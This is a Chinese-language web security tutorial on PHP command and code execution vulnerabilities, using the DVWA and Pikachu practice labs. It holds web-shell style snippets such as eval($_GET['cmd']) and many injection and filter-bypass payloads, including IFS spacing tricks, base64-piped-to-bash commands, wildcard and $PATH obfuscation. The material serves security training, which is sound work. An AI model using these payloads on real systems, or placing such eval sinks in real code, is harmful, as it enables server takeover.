一、漏洞简介
1.1、漏洞简介与产生原因
什么是命令执行
当 Web 应用需要调用一些执行系统命令的函数时,并且用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
什么是代码执行
代码执行顾名思义就是将用户输入的内容作为脚本代码进行执行的一类漏洞,此类漏洞影响很大,在权限较大的情况下可以直接接管服务器。
漏洞产生的原因
服务器没有对执行命令的函数或管道符做严格的过滤,最终导致漏洞的产生。
命令执行与代码执行区别
代码执行本质上是调用后端语言来执行特定代码,而命令执行本质是调用系统的命令执行的接口,命令执行漏洞是可以直接调用操作系统命令,代码执行漏洞是靠执行脚本代码调用操作系统命令。
1.2、常见命令执行函数
1.2.1、PHP命令执行函数
PHP命令执行函数如下表:
函数 | 描述 |
---|---|
exec() | 不输出结果,返回执行结果的最后一行,可以使用 output 进行输出 |
system() | 该函数会把执行结果输出,并把输出结果的最后一行作为字符串返回,如果执行失败则返回 false |
popen() | 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 |
passthru() | 此函数只调用命令,并把运行结果原样地直接输出,没有返回值 |
proc_open() | 执行一个命令,并且打开用来输入/输出的文件指针 |
pcntl_exec() | 在当前进程空间执行指定程序 |
shell_exec() | 通过 shell 执行命令并将完整的输出以字符串的方式返回 |
反引号(`) | 反引号(`)实际上是使用 shell_exec() 函数 |
(1)exec()函数
exec() 不输出结果,执行后返回最后一行,如果想看执行结果需要使用 echo、var_dump 等函数进行输出。
<?php
exec("ping 127.0.0.1");
?>
<?php
echo exec("ping 127.0.0.1");
?>
(2)system()函数
该函数会把执行结果输出,并把输出结果的最后一行作为字符串返回,如果执行失败则返回 false。
<?php
system("ping 127.0.0.1");
?>
(3)popen()函数
执行一个命令,并且打开用来输入/输出的文件指针。
<?php
$cmd = "ipconfig";
$fp = popen($cmd,"r"); //popen打一个进程通道
while (!feof($fp)) { //从通道取出内容
$out = fgets($fp, 4096);
echo $out;
}
pclose($fp);
?>
(4)passthru()函数
此函数只调用命令,并把运行结果原样地直接输出,没有返回值。
<?php
passthru("ping 127.0.0.1");
?>
(5)proc_open()函数
执行一个命令,并且打开用来输入/输出的文件指针。
<?php
$cmd = "ipconfig";
$array = array(
array("pipe","r"), //标准输入
array("pipe","w"), //标准输出内容
array("pipe","w") //标准输出错误
);
$fp = proc_open($cmd,$array,$pipes); //打开一个进程通道
echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容
proc_close($fp);
?>
(6)pcntl_exec()函数
在当前进程空间执行指定程序。
要求:linux系统特有模块,需编译选项中存在 enable-pcntl。
(7)shell_exec()函数
通过 shell 执行命令并将完整的输出以字符串的方式返回。
<?php
echo shell_exec("ipconfig");
?>
(8)反引号(`)函数
反引号(`)实际上是使用 shell_exec() 函数。
<?php
echo `ipconfig`;
?>
1.2.2、PHP代码执行函数
PHP代码执行函数如下表:
函数 | 描述 |
---|---|
eval() | 函数把字符串按照 PHP 代码来计算 |
assert() | 与 eval 类似,assert 函数是直接将传入的参数字符串当成 PHP 代码 |
preg_replace() | 执行命令和上传文件参考assert函数(不需要加分号)。 将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞 |
create_function() | 创建了一个匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给 create_function() 执行任意命令 |
array_map() | 将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致 |
call_user_func() | 函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数, 也可以这么说传入的参数作为 assert 函数的参数 |
call_user_func_array() | 将传入的参数作为数组的第一个值传递给 assert 函数 |
array_filter() | 用回调函数过滤数组中的元素:array_filter(数组,函数) |
uasort() | 通过用户自定义的比较函数对数组进行排序 |
(1)eval
eval 函数把字符串按照 PHP 代码来计算。
<?php
eval($_GET['cmd']);
?>
(2)assert
与 eval 类似,assert 函数是直接将传入的参数字符串当成 PHP 代码。
<?php
assert($_GET['cmd']);
?>
(3)preg_replace
执行命令和上传文件参考 assert 函数(不需要加分号)。 将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用 /e 修饰符,则存在代码执行漏洞。
<?php
@preg_replace("/Test/e",$_GET["cmd"],"Test");
?>
(4)create_function
创建了一个匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给 create_function() 执行任意命令。
<?php
$func = create_function('',$_GET['cmd']);
$func();
?>
(5)array_map函数
将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
<?php
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;
?>
(6)call_user_func函数
函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数, 也可以这么说传入的参数作为 assert 函数的参数。
<?php
call_user_func("assert",$_GET['cmd']);
?>
(7)call_user_func_array函数
将传入的参数作为数组的第一个值传递给 assert 函数。
<?php
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>
(8)array_filter函数
用回调函数过滤数组中的元素:array_filter(数组,函数)。
<?php
$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
(9)uasort函数
通过用户自定义的比较函数对数组进行排序。
<?php
usort($_GET,'asse'.'rt');
?>
1.3、认识管道符
管道符 | 描述/用法 |
---|---|
; | A;B 从左往右执行,彼此不关心失败,都会全部执行 |
| | A|B 无论执行的A命令是否正确,B命令都执行 |
|| | A||B A执行失败,B才会执行 |
& | A&B 先执行B,再执行A |
&& | A&&B A执行成功才会执行B |
二、环境下载
DVWA下载地址:https://github.com/digininja/DVWA
Pikachu:GitHub - zhuifengshaonianhanlu/pikachu: 一个好玩的Web安全-漏洞测试平台
三、漏洞利用
3.1、命令执行与代码执行
3.1.1、命令执行漏洞利用
设置 DVWA 安全等级为 Low。
访问 DVWA 漏洞环境,进入 Command Injection 选项。
地址栏提示请输入 IP 地址(Enter an IP address),这里输入本地 IP 地址并提交。
提交后会执行一个 ping 命令操作,接着利用管道发进行拼接让服务器执行两条或多条命令。
管道符 | 描述/用法 |
---|---|
; | A;B:从左往右执行,彼此不关心失败,都会全部执行 |
| | A|B:不执行A,只执行B |
|| | A||B:A执行失败,B才会执行 |
& | A&B:先执行B,再执行A |
&& | A&&B:A执行成功才会执行B |
127.0.0.1;ls
3.1.2、代码执行漏洞利用
访问 pikachu 漏洞环境下的 RCE -> exec "eval" 选项。
输入框输入如下数据并提交即可执行系统命令。
system("ls");
3.2、常见绕过姿势
3.2.1、管道符过滤绕过
管道符 | 描述/用法 | |
---|---|---|
; | A;B 从左往右执行,彼此不关心失败,都会全部执行 | |
| | A|B 不执行A,只执行B | |
|| | A||B A执行失败,B才会执行 | |
& | A&B 先执行B,再执行A | |
&& | A&&B A执行成功才会执行B | |
%0a | %0a换行的意思 | 127.0.0.1%0acat /flag |
%0d | %0d回车的意思 | 127.0.0.1%0dcat /flag |
将 DVWA 安全等级设置为 Medium。
进入 Command Injection 选项。
点击 View Source 查看源代码。
从源代码中可以看到过滤了 &&、; 两个管道符,那么可以使用:&、|、||、%0a、%0d 等进行绕过。
127.0.0.x | ls
3.2.2、空格过滤绕过
绕过姿势 | 描述 | 用法 |
---|---|---|
${IFS} | $IFS是Linux里的环境空变量 | 127.0.0.1;cat${IFS}flag.txt |
$IFS$9 | $IFS是Linux里的环境变量,$9是第九个值是个空字符 | 127.0.0.1;cat$IFS$9flag.txt |
< | 小于号绕过 | 127.0.0.1;cat<flag.txt |
<> | 大小于号绕过 | 127.0.0.1;cat<>flag.txt |
{} | 大括号绕过 | 127.0.0.1;{cat,flag.txt} |
a=$'xxx' | 利用变量和\x20绕过,\x20就是空格 | 127.0.0.1;a=$'\x20flag.txt';cat$a |
%09 | %09只适合使用在php | 127.0.0.1;cat%09flag.txt |
- ${IFS}
$IFS 是 Linux 里的环境变量。
cat${IFS}flag.txt
- $IFS$9
$IFS 是 Linux 里的环境变量,$9是第九个值是个空字符。
cat$IFS$9flag.txt
- <
cat<flag.txt
- <>
cat<>flag.txt
- {}
{cat,flag.txt}
- $a=$'xxx'
a=$'\x20flag.txt';cat$a
3.2.3、关键字过滤绕过
有些服务器可能过滤掉一些关键字如:flag 等关键字。
(1)转义符与单双引号绕过
cat f\l\a\g.txt
cat fl''ag.txt
cat fl'a'g.txt
(3)拼接法绕过
a=fl;b=ag.txt;cat $a$b
(4)空变量绕过
使用空变量$*、$@、$x、${x}绕过
cat fla$*g.txt
cat fla$@g.txt
cat fla$5g.txt
cat fla${6}g.txt
(5)内联执行绕过
绕过符号 | 描述 | 用法 |
---|---|---|
` | 他会把当前ls出来的全部东西,全部进行一个cat操作 | 127.0.0.1;cat `ls` |
$() | 127.0.0.1;cat $(ls) |
(6)编码绕过
echo Y2F0IGZsYWcudHh0Cg==|base64 -d|bash
echo Y2F0IGZsYWcudHh0Cg==|base64 -d|sh
(7)正则绕过
正则符号 | 描述 | 用法 |
---|---|---|
? | 单个字符的意思 | 127.0.0.1;cat f??? |
* | 多个的意思 | 127.0.0.1;cat fl* |
cat fla*
cat fl?g.???
3.2.4、命令执行函数绕过
有些服务器可能过滤掉一些命令执行函数如:system 等函数。
(1)大小写绕过
(2)内联执行绕过
绕过符号 | 描述 | 用法 |
---|---|---|
` | 他会把当前ls出来的全部东西,全部进行一个cat操作 | 127.0.0.1;echo `ls` |
$() | 127.0.0.1;echo $(ls) |
3.2.5、查看命令过滤绕过
(1)替代法绕过
命令 | 描述 |
---|---|
cat | 由第一行开始显示内容,将所有内容输出 |
tac | 从最后一行倒序显示内容,并将所有内容输出 |
more | 根据窗口大小,一页一页的实现文件内容 |
less | 和more类似,但其优点可以往前翻页,而且可以进行搜索字符 |
head | 只显示头几行 |
tail | 只显示最后几行 |
nl | 类似cat -n,显示是输出行号 |
tilf | 类似于tail -f |
sort | 读文件 |
dir | 查看当前目录文件,类似ls |
od -a | 读文件 |
xxd | 读文件 |
vi | 利用vi查看数据,这个比较挑环境 |
vim | 利用vim查看数据,这个比较挑环境 |
grep | grep "key" key.php |
sed -n | sed -n '1,5p' ../key.php |
(2)转义符绕过
c\a\t flag.txt
3.2.6、输入字符串长度限制
(1)前端验证绕过
F12 修改 maxlength 值。
(2)目录创建拼接法
touch "ag.txt"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t >shell
sh shell
3.2.7、利用$PATH环境变量绕过
(1)字母过滤绕过
利用环境变量来截取字母达到绕过过滤
echo $PATH
${PATH:5:1}${PATH:2:1}
(2)数字过滤绕过
查看与 5 相关的环境变量。
for i in `env`; do echo -n "${i%=*} lenth is ";echo ${i#*=}|awk '{print length($0)}'; done |grep 5
查看与 11 相关的环境变量。
for i in `env`; do echo -n "${i%=*} lenth is ";echo ${i#*=}|awk '{print length($0)}'; done |grep 11
这里为什么搜索 5 和 11,因为 5 和 11 在 $PATH 分别对应的为 ls。
${PATH:${#TERM}:${#SHLVL}}${PATH:${#LANG}:${#SHLVL}}